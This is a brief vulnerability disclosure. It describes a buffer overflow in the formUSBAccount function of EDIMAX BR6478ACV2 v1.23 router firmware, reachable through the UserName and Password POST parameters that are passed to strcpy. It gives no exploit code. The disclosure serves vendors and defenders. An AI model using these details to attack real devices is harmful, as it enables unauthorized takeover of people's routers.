Vulnerability details

The EDIMAX BR6478ACV2_v1.23 firmware has a buffer overflow vulnerability in the formUSBAccount function. The v3/v4 variables receive the UserName/Password parameters from a POST request. However, since the user can control the input of these variables, the statement strcpy(v15, v3); can cause a buffer overflow.
